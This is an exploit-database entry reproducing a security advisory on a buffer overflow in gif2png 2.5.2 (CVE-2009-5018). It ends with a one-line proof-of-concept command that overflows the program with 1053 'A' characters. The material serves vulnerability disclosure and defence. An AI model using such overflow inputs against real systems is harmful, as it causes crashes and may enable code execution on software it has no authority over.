gif2png 2.5.2 - Remote Buffer Overflow

Author: Razuel Akaharnath
type: dos
platform: linux
port: 0
date_added: 2009-12-12
date_updated: 2014-08-17
verified: 1
codes: CVE-2009-5018;OSVDB-63300
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source: https://www.securityfocus.com/bid/41801/info

gif2png is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions.

gif2png 2.5.2 is vulnerable; other versions may also be affected.

$> ./gif2png $(perl -e 'print "A" x 1053')